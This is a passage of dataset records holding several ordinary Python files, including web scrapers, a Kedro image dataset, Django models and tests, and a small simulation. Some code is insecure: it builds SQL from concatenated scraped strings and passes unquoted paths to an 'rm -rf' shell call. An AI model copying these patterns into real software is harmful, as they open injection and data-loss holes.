a['href'],timeout=30000).read().decode('gbk')\n soup = BeautifulSoup(txt, 'html.parser')\n listb = soup.find_all('a')\n listb.pop()\n bb = {}\n l = len(listb)\n # print(\"----->>>>> \"+str(l/2)+\" <<<<<<------\")\n strName = ''\n\n pida = id\n for i in range(0, l - 1):\n time.sleep(3)\n if (listb[i].text == strName):\n continue\n\n strIndex = listb[i]['href']\n code = listb[i].text\n strName = name = listb[i + 1].text\n\n ida = flag = flag + 1\n level = '1'\n pid = pida\n\n sql = \"insert into city (id,code,name,level,pid)values('\" + str(\n ida) + \"','\" + code + \"','\" + name + \"','\" + level + \"','\" + str(pid) + \"');\"\n execSql(sql)\n print(strIndex + \",\" + code + \",\" + name)\n\n ctxt = getHTMLText(url + strIndex) # urllib.request.urlopen(url + strIndex,timeout=30000).read().decode('gbk')\n soup = BeautifulSoup(ctxt, 'html.parser')\n listc = soup.find_all('a')\n listc.pop()\n lc = len(listc)\n # print(\"----->>>>> \"+str(lc/2)+\" <<<<<<------\")\n cstrName = ''\n\n pidc = ida\n for c in range(0, lc - 1):\n time.sleep(3)\n if (listc[c].text == cstrName):\n continue\n\n strIndex = listc[c]['href']\n\n code = listc[c].text\n cstrName = name = listc[c + 1].text\n idc = flag = flag + 1\n level = '2'\n pid = pidc\n\n sql = \"insert into city (id,code,name,level,pid)values('\" + str(\n idc) + \"','\" + code + \"','\" + name + \"','\" + level + \"','\" + str(pid) + \"');\"\n execSql(sql)\n print(\" >[\" + code + \",\" + name + \"]\")\n\n dtxt = getHTMLText(\n url + '/' + dd + '/' + strIndex) # urllib.request.urlopen(url +'/'+dd+'/'+ strIndex,timeout=30000).read().decode('gbk')\n soup = BeautifulSoup(dtxt, 'html.parser')\n listd = soup.find_all('a')\n listd.pop()\n\n ld = len(listd)\n print(\"----->>>>> \" + str(ld / 2) + \" <<<<<<------\")\n dstrName = ''\n\n pidd = idc\n for d in range(0, ld - 1):\n if (listd[d].text == dstrName):\n continue\n strIndex = listd[d]['href']\n code = listd[d].text\n dstrName = name = listd[d + 1].text\n idd = flag = flag + 1\n level = '3'\n pid = pidd\n\n sql = \"insert into city (id,code,name,level,pid)values('\" + str(\n idd) + \"','\" + code + \"','\" + name + \"','\" + level + \"','\" + str(pid) + \"');\"\n execSql(sql)\n print(\" ====[\" + code + \",\" + name + \"]====\")\n","sub_path":"spider/area_code_mysql.py","file_name":"area_code_mysql.py","file_ext":"py","file_size_in_byte":4663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"60655541","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport os\nrootdir ='../data/'\nfor subdir, dirs, files in os.walk(rootdir):\n if os.path.exists(subdir+'/'+'run.xlsx'):\n \tpath =subdir +'/'\n \txls = pd.ExcelFile(path+'run.xlsx')\n \tos.system('rm -rf '+path+'numpy/')\n \tos.system('mkdir '+path+'numpy/')\n \tdf = np.array(pd.read_excel(xls))\n \tnp.save(path+'numpy/run',df,True)\n \tprint(path+'numpy/')\n","sub_path":"conscientious_reactive/dual_failure_random_dead/graphsmaker/split_runs.py","file_name":"split_runs.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"461855606","text":"from django.template import Context, Template\nfrom django.test import TestCase\n\nfrom .model_instances import create_user_profile\n\n\nclass TestGravatarURLTemplateTag(TestCase):\n def setUp(self):\n self.obj = create_user_profile()\n\n def test_gravatar_url_return_url(self):\n template = Template('{% load gravatar_url %}'\n '{% gravatar_url profile 100 404 %}')\n rendered = template.render(Context({'profile': self.obj}))\n gravatar_url = ('https://gravatar.com/avatar/' +\n self.obj.user_email_md5_hash + '?s=100&d=404')\n self.assertIn(gravatar_url, rendered, 'Should return a gravatar url')\n\n def test_gravatar_url_can_be_used_only_with_defined_hash(self):\n template = Template('{% load gravatar_url %}'\n '{% gravatar_url profile %}')\n rendered = template.render(Context({'profile': self.obj}))\n gravatar_url = ('https://gravatar.com/avatar/' +\n self.obj.user_email_md5_hash + '?s=80&d=mm')\n self.assertIn(gravatar_url, rendered, 'Should return a gravatar url '\n 'with a default image size and default image')\n","sub_path":"group_site/members/tests/test_templatetags.py","file_name":"test_templatetags.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"56858909","text":"import numpy as np\nimport sys\nimport os\n\ndef simulation(positions, num_trials):\n\n retList = []\n\n for position in positions:\n #Set up value \"position_value\" to represent the size of each investment\n position_value = 1000 / position\n\n cumu_ret = []\n for n in range(int(num_trials)):\n probList = []\n for n in range(position):\n prob = np.random.sample()\n probList.append(prob)\n\n cumu_ret.append(position_value * 2 * np.sum((prob > 0.51) * 1 for prob in probList))\n\n daily_ret = []\n\n for trial in range(len(cumu_ret)):\n daily_ret.append((cumu_ret[trial]/float(1000)) - 1)\n\n retList.append(daily_ret)\n\n return retList\n\n\n\n\n\n\n","sub_path":"yw652/simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"466745480","text":"\nfrom pathlib import PurePosixPath\nfrom typing import Any, Dict\n\nfrom kedro.io import AbstractVersionedDataSet, Version\nfrom kedro.io.core import get_protocol_and_path\n\nimport fsspec\nimport numpy as np\nfrom PIL import Image\n\n\nclass ImageDataSet(AbstractVersionedDataSet):\n \"\"\"``ImageDataSet`` loads / save image data from a given filepath as `numpy` array using Pillow.\n\n Example:\n ::\n\n >>> ImageDataSet(filepath='/img/file/path.png')\n \"\"\"\n\n def __init__(self, filepath: str, version: Version = None):\n \"\"\"Creates a new instance of ImageDataSet to load / save image data for given filepath.\n\n Args:\n filepath: The location of the image file to load / save data.\n version: The version of the dataset being saved and loaded.\n \"\"\"\n protocol, path = get_protocol_and_path(filepath)\n self._protocol = protocol\n self._fs = fsspec.filesystem(self._protocol)\n\n super().__init__(\n filepath=PurePosixPath(path),\n version=version,\n exists_function=self._fs.exists,\n glob_function=self._fs.glob,\n )\n\n def _load(self) -> np.ndarray:\n \"\"\"Loads data from the image file.\n\n Returns:\n Data from the image file as a numpy array\n \"\"\"\n load_path = self._get_load_path()\n with self._fs.open(load_path, mode=\"r\") as f:\n image = Image.open(f).convert('RGBA')\n return np.asarray(image)\n\n def _save(self, data: np.ndarray) -> None:\n \"\"\"Saves image data to the specified filepath.\n \"\"\"\n save_path = self._get_save_path()\n with self._fs.open(save_path, mode=\"wb\") as f:\n image = Image.fromarray(data)\n image.save(f)\n\n def _describe(self) -> Dict[str, Any]:\n \"\"\"Returns a dict that describes the attributes of the dataset.\n \"\"\"\n return dict(\n filepath=self._filepath,\n version=self._version,\n protocol=self._protocol\n )\n","sub_path":"example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"149545777","text":"from bs4 import BeautifulSoup\nimport requests\nfrom movies.serializer import MovieSerializer\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom movies.models import Movie\n\n\n\ndef store_movie_data(data):\n \n # Store Movie data in Database\n\n try:\n movie = Movie.objects.get(imdb_key=data['imdb_key'])\n serializer = MovieSerializer(movie, data=data)\n except ObjectDoesNotExist:\n serializer = MovieSerializer(data=data)\n if serializer.is_valid():\n serializer.save()\n\n\ndef get_movies(url):\n \n # Scrape the URL and store Movies in Database\n\n source_code = requests.get(url)\n plain_text = source_code.text\n soup = BeautifulSoup(plain_text, \"html.parser\")\n movies = soup.find('tbody', {'class': 'lister-list'})\n movies_list = []\n for movie in movies.findAll('tr'):\n try:\n movies_dict = dict()\n movies_dict[\"rating\"] = movie.find('td', {'class': 'ratingColumn'}).find('strong').text\n movies_dict[\"title\"] = movie.find('td', {'class': 'titleColumn'}).find('a').text\n movie_url = movie.find('a').get('href')\n movies_dict[\"imdb_key\"] = movie_url.split('/')[2]\n movie_url = 'https://www.imdb.com'+movie_url\n movie_soup = BeautifulSoup(requests.get(movie_url).text, \"html.parser\")\n movie_details = movie_soup.find('div', {'class': 'subtext'}).text.split('|')\n movies_dict[\"type_rating\"] = movie_details[0].replace('\\n', '').strip()\n movies_dict[\"duration\"] = movie_details[1].replace('\\n', '').strip()\n movies_dict[\"genre\"] = movie_details[2].replace('\\n', '').strip()\n movies_dict[\"release_date\"] = movie_details[3].replace('\\n', '').strip()\n store_movie_data(movies_dict)\n except Exception as e:\n continue\n \n return movies_list\n\n\n","sub_path":"movies/movie_script.py","file_name":"movie_script.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"417214799","text":"from django.db import models\nfrom django.utils import timezone\nfrom django.contrib.auth import get_user_model\nfrom taggit.managers import TaggableManager\nfrom markdownx.models import MarkdownxField\nfrom markdownx.utils import markdownify\nfrom django.shortcuts import resolve_url\nfrom def_init.secret_settings import *\nimport requests\n\nUser = get_user_model()\n\nclass Course(models.Model): #lesson\n title = models.CharField(max_length=30)\n course_num = models.PositiveSmallIntegerField(default=0)\n is_clear = models.BooleanField(default=False) #is_clear\n\n def __str__(self):\n return str(self.title)\n\nclass Lesson(models.Model):\n title = models.CharField(max_length=30)\n contents = models.TextField(max_length=1000, null=True)\n lesson_num = models.PositiveSmallIntegerField(default=0)\n course = models.ForeignKey(Course, on_delete=models.CASCADE, related_name=\"lesson\") #lesson\n clear = models.BooleanField(default=False)\n\n\n def __str__(self):\n return str(self.title)\n\n\nclass Article(models.Model):\n poster = models.ForeignKey(User, on_delete=models.CASCADE, related_name=\"user_article\")\n article_at = models.ForeignKey(Lesson, on_delete=models.CASCADE, related_name=\"lesson_article\")\n title = models.CharField(max_length=30)\n content = MarkdownxField()\n like_count = models.PositiveIntegerField(default=0)\n created_at = models.DateTimeField(default=timezone.now)\n tags = TaggableManager(blank=True)\n # 画像を添付する場合\n # article_image = models.ImageField(upload_to=\"def_i/img\",null=True)\n # article_image_resize = ImageSpecField(source='user_image',\n # processors=[ResizeToFill(250,250)],\n # format='JPEG',\n # options={'quality':60})\n # def __str__(self):\n # return self.title\n\n def formatted_markdown(self):\n return markdownify(self.content)\n\nclass Question(models.Model):\n poster = models.ForeignKey(User, on_delete=models.CASCADE, related_name=\"user_question\")\n question_at = models.ForeignKey(Lesson, on_delete=models.CASCADE, related_name=\"lesson_question\")\n title = models.CharField(max_length=30)\n # content = models.TextField(null=True)\n content = MarkdownxField()\n if_answered = models.BooleanField(default=False) #->is_answered\n created_at = models.DateTimeField(default=timezone.now)\n tags = TaggableManager(blank=True)\n\n # def __str__(self):\n # return str(self.title)+\" by \"+str(self.poster)\n\n def browser_push(self,request):\n data = {\n 'app_id':'ea35df03-ba32-4c85-9f7e-383106fb1d24',\n 'safari_web_id': \"web.onesignal.auto.47a2f439-afd3-4bb7-8cdd-92cc4f5ee46c\",\n 'included_segments': ['All'],\n 'contents': {'en': self.title},\n 'headings': {'en': '新しい質問が投稿されました!質問に答えましょう.'},\n 'url': resolve_url('question_feed_new'),\n }\n requests.post(\n \"https://onesignal.com/api/v1/notifications\",\n headers={'Authorization': ONESIGNAL_SECRET_KEY},\n json=data,\n )\n\n def formatted_markdown(self):\n return markdownify(self.content)\n\nclass Like(models.Model):\n article = models.ForeignKey(Article, on_delete=models.CASCADE)\n user = models.ForeignKey(User, on_delete=models.CASCADE)\n\nCATEGORY_CHOICE = (\n ('記事','記事'),\n ('質問','質問'),\n)\n\nclass Talk(models.Model):\n msg = models.TextField(max_length=1000)\n msg_from = models.ForeignKey(User, on_delete=models.CASCADE, related_name=\"msg_form\")\n msg_to = models.ForeignKey(User, on_delete=models.CASCADE, related_name=\"msg_to\")\n time = models.DateTimeField(auto_now_add=True)\n # def __str__(self):\n # return \"{}から{}へのメッセージ\".format(self.msg_from,self.msg_to)\n\nclass TalkAtArticle(Talk):\n msg_at = models.ForeignKey(Article, on_delete=models.CASCADE)\n category = models.CharField(max_length=10,\n choices=CATEGORY_CHOICE, default='記事')\n\n # def __str__(self):\n # return \"FROM '{}' TO '{}' AT '{}'\".format(self.msg_from,self.msg_to,self.msg_at)\n\n # initがUnion時に走ってしまうため,使えない\n # def __init__(self,*args,**kwargs):\n # super(TalkAtArticle,self).__init__(*args,**kwargs)\n # self.category = '記事'\n\nclass TalkAtQuestion(Talk):\n msg_at = models.ForeignKey(Question, on_delete=models.CASCADE)\n category = models.CharField(max_length=10,\n choices=CATEGORY_CHOICE, default='質問')\n\n def __str__(self):\n return \"FROM '{}' TO '{}' AT '{}'\".format(self.msg_from,self.msg_to,self.msg_at)\n\n # def __init__(self,*args,**kwargs):\n # super(TalkAtQuestion,self).__init__(*args,**kwargs)\n # self.category = '質問'\n\nclass Memo(models.Model):\n relate_lesson = models.ForeignKey(Lesson, on_delete=models.CASCADE, related_name=\"lesson_memo\", null=True)\n relate_user = models.ForeignKey(User, on_delete=models.CASCADE, related_name=\"user_memo\", null=True)\n contents = models.TextField(null=True)\n","sub_path":"def_i/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"}